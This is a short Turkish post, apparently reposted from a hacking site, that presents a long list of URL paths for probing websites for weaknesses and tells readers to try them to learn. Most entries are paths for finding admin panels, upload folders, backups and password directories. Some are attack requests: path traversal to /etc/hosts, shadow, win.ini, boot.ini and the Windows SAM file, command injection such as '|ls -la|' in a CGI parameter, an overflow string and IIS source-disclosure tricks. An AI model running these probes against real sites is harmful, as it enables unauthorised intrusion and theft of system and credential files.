site açığı bulmak için temel kodlar

Yapmanız gerekekn sadece kodları arama yaptırım acıgı bulunan hedef siteleri tespit etmek pek ise yaramaz ama ogrenmek icin kesinlikle deneyin ...

/Admin_files/
/DMR/
/StoreDB/
/WebShop/
/WebTrend/
/Web_store/
/webEdition/
/webedition/
/access/
/cms/
/cmsx/
/cmsx/upload.php
/cms/fileadmin/
/cms/fileadmin/log.txt
/account/
/accounting/
/administrator/
/ConsoleHelp/
/console/
/app/
/apps/
/archive/
/wi/
/wi/bin/
/system/
/system/bin/
/system/bin/upload/
/system/bin/binbackoffice/
/backoffice/
/bin/
/asp/
/demo/
/demonstration/
/atc/
/backup/
/bak/
/opt/
/opt/setupt/
/beta/
/bin/
/buy/
/buynow/
/c/
/cart/
/ccard/
/counter/
/credit/
/customers/
/userdata/
/Search
/~Account%20Name/Search
/snmpinit
/dat/
/data/
/chat/data/
/chat/data/usr/
/database/
/db/
/dbase/
/doc-html/
/docs/
/down/
/download/
/downloads/
/aspSmartUpload/
/cmsupload/
/cmsuploads/
/cms-uploads/
/cms-up/
/cmsup/
/img_upl/
/img_upload/
/images_upload/
/images_upl/
/upload-docs/
/upload-documents/
/upload-files/
/uploadfiles/
/uploadtemp/
/upload-temp/
/uploadtmp/
/upload-tmp/
/admin/dateiupload.php
/admin/dateiverwaltung.php
/dateiverwaltung.php
/dateiupload.php
/tmpupload/
/tempupload/
/tmp-upload/
/temp-upload/
/upload2.htm
/upload2.html
/upload/
/uploads/
/upload/
/uploading/
/employees/
/wartung/
/support/
/exe/
/file/
/files/
/forum/
/fpadmin/
/ftp/
/ftpfiles/
/guestbook/
/guests/
/home/
/htdocs/
/html/
/ibill/
/idea/
/ideas/
/incoming/
/info/
/install/
/installfiles/
/install-files/
/intranet/
/intra/
/jave/
/jdbc/
/lib/
/library/
/login/
/log/
/logfiles/
/mail/
/mall_log_files/
/manual/
/marketing/
/msql/
/new/
/newfiles/
/old/
/oldfiles/
/odbc/
/old/
/oracle/
/postgres/
/postgresql/
/order/
/orders/
/outgoing/
/pages/
/password/
/passwords/
/perl/
/private/
/pub/
/public/
/purchase/
/purchases/
/pw/
/register/
/registered/
/reseller/
/retail/
/root/
/sales/
/setup-files/
/setup_files/
/setup/
/shop/
/shopper/
/site/iissamples/
/software/
/source/
/src/
/srcfiles/
/sql/
/support/
/tmp/
/tmpfiles/
/temp/
/tempfiles/
/test/
/testfiles/
/tst/
/tstfiles/
/tstsite/
/testsite/
/test-cgi/
/tools/
/tree/
/updates/
/usage/
/user/
/users/
/web/
/web800fo/
/webadmin/
/board/docs/
/webboard/
/webdata/
/website/
/www/
/www-sql/
/wwwjoin/
/import/
/zipfiles/
/zip/
/zips/
/session/
/session.jsp
/session.jhtml
/session.php
/session.phps
/session.asp
/session.aspx
/session.pl
/cgi-bin/session.pl
/cgi-bin/xxxnonexistingyy.pl
/cgi-bin/xxxnonexistingyy.exe
/cgi-bin/xxxnonexistingyy.bat
/cgi-bin/xxxnonexistingyy.jsp
/session.py
/sessions
/sessions.jsp
/sessions.jhtml
/sessions.php
/sessions.phps
/sessions.asp
/sessions.aspx
/sessions.pl
/cgi-bin/sessions.pl
/sessions.py
/cgi-bin/
/cgi-local/
/cgi-win/
/cgi-home/
/cgi/
/dyn/
/dynamic/
/sbin/
/include/
/includes/
/inc/
/java/
/config/
/admin/
/_admin/
/__admin/
/Admin/
/./admin/
/administration/
/Administration/
/info/
/stat/
/stats/
/status/
/express/cache/
/usage/
/private/
/priv/
/internal/
/priv/
/shtml/
/debug.txt
/debug.log
/dbg.txt
/dbg.log
/xsql/java/demo/
/../../shadow
/remote_login.pl%20
/WebSTAR%20LOG
/index.search
/.dS_store
/webstar.log
/logs/webstar.log
/pi_admin.admin
/test.php3
/info.php3
/ptsite/news.inc
/news.inc
/objcheck.asp
/scripts/objcheck.asp
/include/sql.php
/include/sql.inc
/include/db.inc
/include/news.inc
/include/database.inc
/include/data.inc
/include/functions.inc
/inc/sql.inc
/inc/sql.inc
/inc/db.inc
/inc/database.inc
/inc/data.inc
/inc/functions.inc
/inc/news.inc
/inc/test.php
/include/test.php
/extras/quicklist.php?bn=krasl
/cgi-bin/test.php3
/cgi-bin/web2mail.cgi
/cgi-bin/cgiemail/uargg.txt?0=0&1=1&2=2&256=256&array=array&a=a&i=i& c=c&arr=arr
/cgi-bin/web2mail.cgi
/random_banner/index.cgi?image_list=alternative_image.list&html_f ile=../../../../../etc/hosts
/random_banner/index.cgi?image_list=alternative_image.list&html_f ile=|ls%20-la|
/%3f.jsp
/example.jsp../
/example%2ejsp
/example.jsp..
/index.jsp..
/index.jsp::$DATA
/test.jsp..
/example.jsp%81
/index.JSP
/index.jsp../
/test.jsp../
/index%2ejsp
/test%2ejsp
/index.JHTML
/*.jhtml/
/*.jsp/
/*.jsp::$DATA/
/servlet//..//../o.jsp
/wl_management_internal2/
/wl_management_internal2/wl_management
/servlet/wl_management
/servlets/wl_management
/wl_management?x=y
/bb.sqljsp//..//..//..//..//..//../winnt/win.ini
/a.jsp//..//..//..//..//..//../winnt/win.ini
/ConsoleHelp/
/*.shtml/
/*.shtml/login.jsp
/cgi-bin/mailview.cgi?cmd=view&fldrname=inbox&select=1&html =
/cgi-bin/maillist.cgi?cmd=list&fldrname=inbox&fldnum=1&orde r=2&searchkey=&search_fldnum=0&page=99999&html=
/cgi-bin/userreg.cgi?cmd=insert&lang=eng&tnum=3&fld1=test99 9%0als
/..\..\..\winnt\repair\sam._
:80/../../../autoexec.bat
/......autoexec.bat
/.html/............/autoexec.bat
/../../../../../../../boot.ini
/....../
/..../
/.../
/\.../
/iisadmpwd/
/iisadmpwd/achg.htr
/iisadmpwd/aexp.htr
/iisadmpwd/aexp2.htr
/iisadmpwd/aexp2b.htr
/iisadmpwd/aexp3.htr
/iisadmpwd/aexp4.htr
/iisadmpwd/aexp4b.htr
/iisadmpwd/anot.htr
/iisadmpwd/anot3.htr
/iisadmpwd/_AuthChangeUrl
/_AuthChangeUrl
/iissamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/iissamples/sdk/asp/docs/CodeBrws.asp
/iissamples/sdk/asp/interaction/ServerVariables_JScript.asp
/iissamples/sdk/asp/interaction/ServerVariables_VBScript.asp
/iissamples/
/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope=extended_webinfo
/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope=extended_fileinfo
/scripts/iisadmin/ism.dll%3fhttp/dir
/iisadmin/ism.dll%3fhttp/dir
/cgi-bin/htimage.exe
/_vti_bin/fpcount.exe
/_vti_bin/_vti_aut/fp30reg.dll
/global.asax
/global.asax.cs
/global.asa
/global.asa::$DATA
/global.asa+.htr
/global.asa%3f.htr
/global.asa%3f.jsp
/global.asa\
/global.asa%20.pl
/default.asp+.htr
/default.asp%3f.htr
/main.asp+.htr
/_vti_bin/shtml.dll/tstt.htm
/_vti_inf.html
/_vti_log/author.log
/_vti_pvt
/_vti_bin/shtml.dll
/_vti_bin/shtml.exe
/_private/form_results.txt
/AdSamples/config/site.csc
/siteserver/publishing/viewcode.asp?source=/tata.asp
/SiteServer/admin/findvserver.asp?uid=LDAP_Anonymous&pwd=LdapPasswor d_1
/SiteServer/Admin/commerce/foundation/domain.asp
/SiteServer/Admin/commerce/foundation/driver.asp
/SiteServer/Admin/commerce/foundation/DSN.asp
/Admin/knowledge/dsmgr/users/GroupManager.asp
/SiteServer/Admin/knowledge/dsmgr/users/UserManager.asp
/SiteServer/Admin/knowledge/dsmgr/default.asp
/_mem_bin/auoconfig.asp
/_mem_bin/remind.asp
/scripts/cphost.dll?my_file=localthing&TargetURL=/Sites/Publishing/srvname/ldap_anonymous/
/scripts/cpshost.dll?my_file=localthing&TargetURL=/Sites/Publishing/srvname/ldap_anonymous/
/secret/index.html
/secret/index.htm
/cgi-bin/phf
/cgi-bin/commander.pl
/cgi-bin/Count.cgi
/cgi-bin/test.pl
/php/index.php
/cgi-bin/printenv
/cgi-bin/test.cgi
/cgi-bin/test-cgi
/cgi-bin/test- cgi.bat
/cgi-bin/nph-test-cgi
/cgi-bin/php.cgi
/cgi-bin/handler
/cgi-bin/webgais
/cgi-bin/websendmail
/cgi-bin/webdist.cgi
/cgi-bin/faxsurvey
/cgi-bin/htmlscript
/cgi-bin/pfdisplay
/cgi-bin/perl.exe
/cgi-bin/perl
/perl
/perl/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/scripts/perl.exe
/scripts/perl
/cgi-bin/perl
/scripts/*.pl
/cgi-bin/gbadmin.cgi?action=setup
/guestbook/gbadmin.cgi?action=setup


::::....Syb32



www.turkattacker.org com dan alıntıdır üstad virtual system e aittir